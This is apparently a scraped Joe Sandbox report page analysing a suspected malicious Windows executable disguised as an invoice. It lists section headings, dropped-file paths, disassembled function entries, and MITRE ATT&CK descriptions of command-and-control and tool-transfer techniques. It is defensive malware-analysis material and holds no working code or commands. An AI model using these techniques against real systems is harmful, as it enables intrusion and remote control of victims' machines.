Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Invoice_&_SOA_ready_for_dispatch.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Invoice_&_SOA_ready_for_dispatch.exe.log

C:\Users\user\AppData\Local\Temp\2N-F32-85

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Invoice_&_SOA_ready_for_dispatch.exe

Function 054E90F0 Relevance: 9.3, Strings: 7, Instructions: 545
COMMON

Function 054E9100 Relevance: 9.3, Strings: 7, Instructions: 538
COMMON

Function 072B2DD4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 244
processCOMMON

Function 072B2DE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Function 054E3E04 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Function 054E1998 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Function 072B2838 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 252
memoryCOMMON

Function 02E9D338 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Function 02E9449C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Function 02E958ED Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95
COMMON

Function 072B4CC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 77
COMMON

Function 072B2B50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
injectionCOMMON

Function 072B2B58 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre